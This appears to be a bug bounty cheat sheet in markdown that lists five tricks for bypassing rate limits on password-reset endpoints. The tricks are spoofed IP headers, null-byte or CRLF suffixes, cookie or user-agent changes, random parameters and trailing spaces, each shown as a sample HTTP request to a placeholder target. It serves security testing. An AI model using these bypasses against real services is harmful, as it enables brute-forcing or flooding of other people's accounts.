AllAboutBugBounty/BypassRateLimit.md
Muhammad Daffa da84a9479b
Bypass Rate Limit [2]
Add 2 tips
2020-09-19 07:03:32 +07:00

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Markdown

# Bypass Rate Limit
1. Try add some custom header
```
X-Forwarded-For : 127.0.0.1
X-Forwarded-Host : 127.0.0.1
X-Client-IP : 127.0.0.1
X-Remote-IP : 127.0.0.1
X-Remote-Addr : 127.0.0.1
X-Host : 127.0.0.1
```
For example:
```
POST /ForgotPass.php HTTP/1.1
Host: target.com
X-Forwarded-For : 127.0.0.1
[...]
email=victim@gmail.com
```
2. Adding Null Byte ( %00 ) or CRLF ( %09, %0d, %0a ) at the end of the Email can bypass rate limit.
```
POST /ForgotPass.php HTTP/1.1
Host: target.com
[...]
email=victim@gmail.com%00
```
3. Try changing user-agents, cookies and IP address
```
POST /ForgotPass.php HTTP/1.1
Host: target.com
Cookie: xxxxxxxxxx
[...]
email=victim@gmail.com
```
Try this to bypass
```
POST /ForgotPass.php HTTP/1.1
Host: target.com
Cookie: aaaaaaaaaaaaa
[...]
email=victim@gmail.com
```
4. Add a random parameter on the last endpoint
```
POST /ForgotPass.php HTTP/1.1
Host: target.com
[...]
email=victim@gmail.com
```
Try this to bypass
```
POST /ForgotPass.php?random HTTP/1.1
Host: target.com
[...]
email=victim@gmail.com
```
5. Add space after the parameter value
```
POST /api/forgotpass HTTP/1.1
Host: target.com
[...]
{"email":"victim@gmail.com"}
```
Try this to bypass
```
POST /api/forgotpass HTTP/1.1
Host: target.com
[...]
{"email":"victim@gmail.com "}
```